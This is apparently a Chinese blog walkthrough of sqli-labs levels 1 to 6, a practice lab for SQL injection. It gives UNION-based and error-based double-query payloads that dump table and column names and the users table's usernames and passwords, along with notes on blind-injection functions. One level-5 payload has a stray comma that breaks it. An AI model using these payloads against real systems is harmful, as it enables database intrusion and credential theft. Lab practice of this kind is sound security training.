我菜的兩批。
從GitHub上下載安裝好sqli-labs後,
Less-1
輸入單引號後報錯,根據報錯信息,可以確定輸入參數的內容被存放到一對單引號中間,
注意:在構造注入url時,查詢id通常爲0,這是因爲一般來說程序(邏輯上)只會取返回結果的第一個數據,如果查詢的id是有意義的,那麼程序就會取該id返回的結果,我們構造的union查詢就沒有效果了,因此我們選擇id=0即一個不存在的id,這是會返回一個空的結果集,此時程序纔會取到union查詢的結果。其他題同理。
爆表:
用到語句:
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆列:
用到語句:
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆值:
用到語句:
?id=0' union select 1,group_concat(username,password),3 from users--+
注意:
圖中的3換成幾都可以但不能爲空,且前後這個地方出現的數應該一致
less-2
輸入單引號後報錯,根據報錯信息確定輸入的內容被帶入到數據庫中,也可叫做數字型注入
爆表:
用到語句:
id=0 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
爆列:
用到語句:
id=0 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users' --+
爆值:
用到語句:
id=0 union select 1,group_concat(username,password),2 from users--+
less-3
輸入單引號,根據報錯信息確定輸入的內容存放到一對單引號加圓括號中了
爆表:
用到語句:
id=0') union select 1,group_concat(table_name),1 from information_schema.tables where table_schema=database() --+
爆列:
用到語句:
id=0') union select 1,group_concat(column_name),1 from information_schema.columns where table_name='users' --+
爆值:
用到語句:
id=0') union select 1,group_concat(username),group_concat(password) from users%23
less-4
輸入單引號沒有報錯,嘗試輸入雙引號,頁面報錯,根據報錯信息判斷出輸入的內容被放到一對雙引號和圓括號中
爆表:
用到語句:
id=0") union select 1,group_concat(table_name),1 from information_schema.tables where table_schema=database() --+
爆列:
用到語句:
id=0") union select 1,group_concat(column_name),1 from information_schema.columns where table_name='users' --+
爆值:
用到語句:
id=0") union select 1,group_concat(username,password),1 from users--+
sqli-labs level5-6 雙查詢注入
雙查詢注入很重要,這一點兒比之前的幾關更難,此大佬博客講的比較清楚。
https://www.jianshu.com/p/786aa540a900
盲注需要掌握一些MySQL的相關函數:
substr(str, pos, len):將str從pos位置開始截取len長度的字符進行返回。
*注意:這裏的pos位置是從1開始的,不是數組的0開始
mid(str,pos,len):跟上面的一樣,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代碼值。
ord(str):同上,返回ascii碼
if(a,b,c) :a爲條件,a爲true,返回b,否則返回c,如if(1>2,1,0),返回0
一些繞過技巧可參考此大佬blog:https://www.cnblogs.com/Vinson404/p/7253255.html
獲取數據庫:
?id=-1' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
獲取表名:
?id=-1' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a),from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
獲取用戶信息:
?id=-1' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
less 6只需在less 5的基礎上把單引號改爲雙引號即可
less 7